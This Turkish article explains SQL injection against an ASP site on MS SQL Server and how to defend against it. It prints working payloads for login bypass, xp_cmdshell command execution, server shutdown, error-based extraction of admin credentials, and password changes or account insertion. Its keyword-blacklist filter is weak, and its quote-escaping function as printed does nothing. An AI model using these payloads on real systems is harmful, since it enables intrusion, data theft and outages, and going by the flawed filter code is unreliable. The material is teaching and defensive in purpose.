

e-Güvenlik Evriminde Kritik Dönem: Uygulama Güvenliği

SQL ENJEKSİYON SALDIRILARI & KORUNMA YOLLARI

Soner Eker

Giriş

“Kendi Uygulamalarınıza Ne kadar güvenirsiniz?”

Dünyanın her tarafında, kullanıcılarına; kredi kartı numaraları, kullanıcı bilgileri gibi gizli kalması gereken bilgilerin, ürünlere ve siparişlere ait verilerin saklandığı uç-arka veri depolarıyla hizmet veren web siteleri bulunmaktadır. Ve genel olarak, web sitelerindeki form aracılığı ile alınan girdi ile veritabanındaki bilgiler filtreledikten sonra sonucu kullanıcıya gönderen bu tür sistemlerde Yapısal Sorgulama Dili (Structured Query Language - SQL) kullanılmaktadır. Uygulama içerisinde kullanılacak parametre değerleri alınırken kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin vermesiyle güvenlik problemleri ortaya çıkmaktadır.

Bu güvenlik problemleri kullanılarak bir uygulamanın arkasında, bu uygulamaya destek veren veri tabanı üzerindeki bütün bilgilere ulaşılabilir veya bilgiler üzerinde değişiklik yapılabilir. Veya veri tabanı sisteminin komutları kullanılarak kullanılan sunucular üzerinde uygulama harici istenen işlemler de yapılabilir. Bu problemlerden korunmak için de uygulama girdilerini bu tür karakterlere karşı kontrol eden fonksiyonların kullanılmalı ve geniş çaplı uygulamaların bu güvenlik açıklarını taşıyıp taşımadığını anlamak için güvenlik denetimine tabi tutulmalıdır.

Bir Uygulama Güvenliği Problemi

“Yapısal Sorgulama Dili Kullanımı”

Yapısal Sorgulama Dili SQL'in uygulamalarda kullanımına örnek vermek gerekirse;

```
SELECT Name, Address FROM Users WHERE UserID = '2081'
```

Şeklindeki SQL Deyimi “Users” adlı tablodan “2081” ürün ID si ile veritabanına kayıtlı olan kişiye ait olan isim ve adres bilgilerini döner. Bu noktada muhtemel zayıflık, kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin vermesiyle ortaya çıkmaktadır. Çözümü ise girdilerden bu özel karakterlerin filtrelenmesini sağlayan fonksiyonlardır.

Hızla gelişen internet teknolojileri karşısında yeni pazarda geç olmadan yerini almak isteyen müşterilerine daha kısa sürede daha kullanışlı ve ucuz çözümler sunmak zorunda olan uygulama geliştiriciler bu süreçte güvenlik gibi önemli bir faktörü ikinci plana atmaktadırlar.

Giderek yaygınlaşan ve medyanın haber potansiyelini oluşturan; çalınan kredi kartı numaraları, yer altı sitelerde dağıtılan müşteri bilgileri, şirket projeleri - yazışmaları yaklaşan tehlikenin habercisi olmakla beraber halen bu tür kayıpların yaratabileceği maddi sonuçları kavrayamayan ve hala “az maliyetle kurtarılan güvenlik projeleri” yle övünen yöneticilere uyarı niteliği taşımaktadır. Öyleki -herzaman bir adım önde olmayı amaçlayan- saldırganlar güvenliğin en üst seviyede olması beklenen devlet siteleri de

dahil olmak üzere pek çok sisteme yönelik saldırılarına da ara vermeksizin devam etmektedirler.

Maddi ve manevi değere sahip şirketinizi bir anlamda iş ortaklarını olan uygulama geliştiricilerin hazırladıkları uygulama ürünlerine emanet edildiğini düşünürsek, “uygulamalarınıza ne kadar güvenirsiniz?” gibi bir soruya verilecek cevap büyük önem taşımaktadır.

Böyle bir ortamda uygun güvenlik çözümü için ayrılmış bütçe bir lüks değil her an yapılabilecek bir saldırıda şirketin uğrayacağı zararı ortadan kaldırmak için alınması gereken önlem niteliği taşımaktadır.

Örnek Saldırıları

“Yapılacak Hamleleri Önceden Tahmin Edebilmek...”

Güvenlikte sıkça kullanılan bir deyim; “Saldırganlardan korunabilmek için onlar gibi düşünmelisiniz!..”. Saldırganın sisteminize girmek için kullanabileceği yöntemleri bilmek bu saldırılardan korunabilmek için alınan önlemleri daha sağlıklı kılacaktır.

Username :

Password :

Login

Örneklere kullanacağımız hedef ; Microsoft® Internet Information Server™' dan Microsoft® SQL Server™'a varsayılan sistem hesabı'ndan (sa) bağlanan ASP tabanlı bir kullanıcı hesabı yöneticisi olacak.

Form.asp : Username ve Password girdisini alan form.Solda...

Login.asp : Veritabanı ile bağlantıya geçen ve girdinin doğruluğunu kontrol eden ASP kodu.

Kötü Amaçlı (') İmleçleri Yardımıyla İzinsiz Giriş Sağlama

Kullanıcı “Username” & “Password” verisini Login.asp ye yolladıktan sonra .asp kodunun yapacağı iş verilen yoldaki veritabanı ile bağlantı kurup ilgili tabloda Username ve Password sütunlarında gönderilen verinin doğruluğunu kontrol etmek olacaktır. Bu işlem sonucunda eğer sonuç olumluysa kullanıcıya; “Giriş Yapıldı” olumsuzsa; “Geçersiz Kullanıcıadı & Şifre” mesajı verilecektir.

Örnekleyecek olursak;

Username : ilkay
Password : 2081

Şeklindeki kullanıcı girdisi aşağıdaki SQL Deyimini oluşturacaktır;

```
SELECT count(*) FROM Users WHERE Username = 'ilkay' AND Password = '2081'
```

İlk bakışta sorun olmayan bir SQL Deyimi... Fakat saldırganın;

Username : ilkay
Password : ' OR 1=1--

Şeklindeki girdilerle oluşturacağı SQL Deyimi ise;

```
SELECT count(*) FROM Users WHERE Username = 'ilkay' AND Password = '' OR 1=1 --'
```

Olacaktır ki, bu durumda girişin sağlanması için şart “ilkay” kullanıcı adına ait şifrenin hiçbirşey* olması veya ikinci bir opsiyon olarak 1=1 eşitliğinin sağlanmasıdır.

* Hiçbirşey ≠ Boşluk

Sonuç : 1=1 eşitliği sağlandığına göre saldırı başarıyla sonuçlanacak ve "Giriş Yapıldı" mesajı verilecektir.

Not : Microsoft® SQL Server™ "--" imlecinden sonra gelen yersiz kullanılmış tırnak işaretlerini göz ardı edecektir. İlk bakışta basit gibi görünen ve sadece SQL Server'a ait olan bu özellik ilerde örneklerden de anlaşılacağı üzere saldırganına büyük kolaylık sağlayacaktır.

Uzaktan Çalıştırılması Mümkün Olan Prosedürler;

MS SQL Server'a varsayılan sistem hesabından yaptığımız bağlantı SQL Enjeksiyon saldırısında muhtemel saldırganına sunucuda saklanan prosedürleri çalıştırabilmesi için gerekli hakları tanıyacaktır. Saldırmanın kullanabileceği prosedürlerden bir tanesi; "master..xp_cmdshell" olabilir.

Username : ilkay
Password : '; EXEC master..xp_cmdshell 'dir c:--'

Girdileriyle oluşacak SQL Deyimi;

```
SELECT count(*) FROM Users WHERE Username = 'ilkay' AND Password =  
''; EXEC master..xp_cmdshell 'dir c:--'
```

Sonuç : SQL Server Kullanıcıadı ve Şifreyi bulduran sütunları arayacaktır bulamadığı için "Yanlış Kullanıcıadı & Şifre" mesajını verecektir fakat bu arada arka planda "dir c:" komutunu çalıştıracak ve saldırgan C sürücüsünün içeriğine ulaşacaktır.

SQL Server Hedef Alınarak Yapılan Saldırıları;

Yönetici haklarına sahip saldırgan silme, ekleme, değiştirme...vb gibi komutları rahatlıkla çalıştırabilecektir.

SHUTDOWN WITH NOWAIT SQL Server'ın kritik komutlarından bir tanesidir. Komutla beraber SQL Server görevine son verir.

Username : '; SHUTDOWN WITH NOWAIT--
Password : [Boş]

Bu girdilerle oluşturulan SQL Deyimi;

```
SELECT Username FROM Users WHERE Username=''; SHUTDOWN WITH NOWAIT;  
--' AND Password=''
```

Sonuç : SQL Server kullanıcıadının bulunamadığı mesajını verecektir. Fakat bununla beraber arka planda diğer komutu çalıştırdığı için SQL Server kapanacaktır.

ODBC Hatalarından Faydalanarak Yapılan Saldırıları;

SQL Server'ın verdiği hatalardan faydalanarak veritabanındaki neredeyse tüm bilgilere ulaşmak mümkündür.

Hedef; <http://Victim/Default.asp?id=10> şeklinde ürün ID leri ile çalışan ASP tabanlı bir websitesi.

Saldırı SQL Server'ın integer ve string cinsinden verileri birlikte gönderememesinden faydalanarak yapılır;

Gönderilen '10' sayısına veritabanından herhangi bir string eklenir.

```
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM  
INFORMATION_SCHEMA.TABLES--
```

Not : "INFORMATION_SCHEMA.TABLES" sistem tablosu, sistemde bulunan diğer tüm tablolar hakkında bilgi içerir. Deyimde kullanılan "TABLE_NAME" de yine tüm tablo isimlerini içerir.

Oluşacak SQL Deyimi;

```
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
```

String -> Integer dönüşümünü yapamayan SQL Server aşağıdaki hatayı verecektir.

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'Table1' to a column of data type
int.
/Default.asp, line 5
```

Hata, saldırganın "Table1" olarak bulduğu cevabı integer a çeviremediğini (dolayısıyla veritabanındaki ilk tablo adının "Table1" olduğunu) belirtmektedir. Saldırgan diğer tabloların adını aşağıdaki şekilde öğrenebilir...

```
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('Table1')--
```

Veya doğrudan LIKE komutunu kullanarak aradığı şeye daha kolay yoldan ulaşabilir;

```
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25Login%25'--
```

SQL Server'ın vereceği hata;

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'Admin_Login' to a column of data
type int.
/Default.asp, line 5
```

Admin_Login adında bir tablo olduğunu öğrenen saldırgan muhtemelen tablodaki ilk kullanıcıyı ve şifreye ulaşmak isteyecektir. İzleyebileceği yol ise;

```
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Username FROM Admin_Login--
```

Hata;

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'ilkay' to a column of data type int.
/Default.asp, line 5
```

Bu şekilde "admin" kullanıcıadının varlığını doğrulayan saldırganın şifreyi ele geçirmek için kullanacağı girdi;

```
http://Victim/Default.asp?id=10 UNION SELECT TOP 1 Password FROM Admin_Login
WHERE Username='ilkay'--
```

Hata;

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value '2081' to a column of data type int.
/Default.asp, line 5
```

Sonuç :

Username : ilkay
Password : 2081

Veritabanına Ekleme Yapma veya Veri Düzenleme;

Kullanıcıadı ve şifre bilgisine ulaşan muhtemel saldırgan benzer yöntemleri ve UPDATE, INSERT komutlarını kullanarak şifreyi değiştirebilir veya daha temiz başka bir kullanıcı hesabı açabilir...

```
http://Victim/Default.asp?id=10; UPDATE 'Admin_Login' SET
'Password' = 'NewPwd' WHERE Username='ilkay'--
```

Yeni bir kullanıcı hesabı için;

```
http://Victim/Default.asp?id=10; INSERT INTO 'Admin_Login'  
( 'UserID', 'Username', 'Password', 'Details' ) VALUES  
(666, 'Desperate_Cry', '2081', 'N/A')--
```

Nasıl Korunmalı?

“Aksi Doğrulanıncaya Kadar Tüm Kullanıcı Girdileri Kötüdür...”

Gelebilecek SQL Enjeksiyon saldırılarından korunabilmek için alınan önlemlerde temel alınması gereken nokta... “Aksi doğrulanıncaya kadar tüm kullanıcı girdileri kötüdür!”.

Kullanıcı Haklarının Sınırlandırılması ;

Yaygın olarak yapılan hata; Web Server dan SQL Server a yapılan bağlantılarda varsayılan sistem hesabı kullanılması... Bu şekilde yönetici haklarına sahip olan saldırgan örneklerde de görülebileceği üzere isteği komutu çalıştırıp istediği ekleme, silme, düzeltme eylemini gerçekleştirebilecektir. Bunu yerine yapılması gereken yeni bir kullanıcı hesabı oluşturup kullanıcının çalıştırabileceği komutları sınırlandırmak olacaktır.

Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasından sipariş verilmesine izin verecekseniz, “web_user” gibi bir kullanıcı adı oluşturup ürünleri incelemek için; ürünler sütununda sadece “SELECT” kullanımına ve siparişleri için; siparişler sütununda sadece “INSERT” kullanımına izin vermeniz uygun olacaktır.

Girdilerde Tırnak İmleçlerinin (') Kötü Amaçlı Kullanımının Engellenmesi ;

Yaygın SQL Enjeksiyon saldırıları SQL deyimlerinin girdilerdeki gereksiz (') tırnak işaretleri yardımıyla yeniden oluşturulması sayesinde yapılır.

Küçük bir filtreleme fonksiyonu veya tek tırnağı çift tırnağa çeviren bir fonksiyon muhtemel bir saldırıyı engellemek için yeterli olabilir.

ASP Kullanarak girdileri kontrol ederek değiştiren bir fonksiyon kolaylıkla yazılabilir;

```
<%  
Function ReplaceQuotes(strWords)  
ReplaceQuotes = Replace(strWords, "'", "'")  
End Function  
>
```

Bu fonksiyonu baştaki örnekte kullanırsak;

```
SELECT count(*) FROM Users WHERE Username='ilkay' AND Password=''  
OR 1=1 --'
```

şeklinde olan deyim...

```
SELECT count(*) FROM Users WHERE Username='ilkay' AND Password=""  
OR 1=1 --'
```

'e dönüşecektir.

Form Girdilerinden Gereksiz Karakterlerin Elenmesi ;

SQL Enjeksiyon saldırıları genelde “;,--,SELECT, INSERT ve xp_” gibi karakterlerin kelimelerin kullanılmasıyla yapıldığı için gönderilecek girdinin önce bir filtreleme fonksiyonundan geçirilmesi muhtemel zayıflığı engelleyebilir. Örneğin kullanıcıdan E - Mail adresini girmesi isteniyorsa harfler ve sayıların yanında sadece “@, -, _ , .” karakterlerinin kullanılmasına izin verilmelidir.

Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler, C/C++ tabanlı DLL ler, kullanıcı tarafı fonksiyonlar...vb, izole edilmiş bir sunucuya taşınmalıdır.

Bazı zararlı kelime-harfleri filteleyen ASP fonksiyonu aşağıda örneklenmiştir;

```
<%  
Function FilterBadWords(strWords)  
dim BadWords  
dim NewWords  
BadWords = array("SELECT", "DROP", ";", "--", "INSERT", "DELETE",  
"xp_")  
NewWords = strWords  
for i = 0 to uBound(BadWords)  
NewWords = Replace(NewWords, BadWords(i), "")  
Next  
FilterBadWords = NewWords  
End Function  
>
```

Tırnak değiştirme fonksiyonu ve filtreleme fonksiyonu beraber kullanılırsa;

```
SELECT Username FROM Users WHERE Username=''; EXEC  
master..xp_cmdshell 'dir c'; --' AND Password=''
```

Şeklindeki SQL Deyimi...

```
SELECT Username FROM Users WHERE Username="" EXEC master..  
cmdshell "dir c:" ' AND Password=''
```

'e dönüşecektir ki bu da herhangi bir kayıt bulunmadığı hatasını vermekten öteye gitmeyecektir. Bu fonksiyonu kullanıcıdan gelen bütün girdilere, adres satırı ifadelerine ve çerezlerden gelen tüm veriye uygulamamız gelebilecek saldırının önüne geçecektir.

Girdi Uzunluğunun Sınırlanması ;

Veritabanındaki ayrılan alanın uzunluğu 10 karakterlikse, formunuzda bu alan için 50 karakter sığan bir text kutusuna sahip olmanız sakıncalı olabilir. Ve mümkün olduğu kadar girdi uzunluklarını kısa tutmak muhtemel saldırıyı engellemek için önlem sayılabilir.

Girdi Cinsinin Kontrol Edilmesi ;

Formunuzdan girilen verinin istediğiniz türden bir veri olup olmadığını kontrol eden bir fonksiyon kötü amaçlı kullanımlarda saldırganın kullanabileceği harf/sayı seçeneğini kısıtlayacaktır. Mesela, eğer Ürün ID si için formunuzdan girdi alıyorsanız girdinin sayısal bir ifade olup olmadığını kontrol eden bir fonksiyon fayda sağlayacaktır.

Kullanılan Veri Gönderme Metodu ;

Formunuz aracılığı ile topladığınız verileri yollarken mutlaka "POST" metodunu kullanın ki kullanıcılarınız adres çubuğunda girdikleri verilerle beraber form değerlerini gördüklerinde akıllarına farklı fikirler gelmesin.

Son Söz

“Herzaman bir adım önde!”

Aldığınız güvenlik önlemleri veya (en iyi ihtimalle) yazıp da kullanmayı bir alışkanlık haline getiremediğiniz güvenlik politikaları sizi güvenlik problemlerine karşı koruyabilir mi? Eğer güvenlik ile ilgili problemleri yönetmeyi süreç temelli bir güvenlik bilinci içerisinde ele almıyorsanız hiçbir güvenlik ürünü, bir güvenlik kaybına uğramanızı engelleyemez.

Bilgi sistemleri altyapınızı taşıdıkları güvenlik zaaflarına karşı düzenli olarak kontrol ettirmek, risklerinizi takip etmek, doğru teknolojiyi doğru yerde ve doğru şekilde kullanmanızı sağlayacak güvenlik politikalarınızı oluşturup güvenlik probleminizi sürekli yönetebilecek olgunluğa ulaşmak hedeflenmelidir. Bilgi sistemlerinin önemli bir kısmını oluşturan uygulamaların taşıyabileceği güvenlik sorunları uzun süredir ihmal edilmelerinden dolayı, günümüzün en popüler sistem sızma noktalarını teşkil etmektedirler. Bu nedenle uygulama güvenliğine ilişkin gereken önemi vermeniz, güvenlik denetimi yaptırmanız ve kurumunuzun bilgi güvenliği yönetim sistemini oluşturmaya bir yerinden başlamanızı öneriyoruz.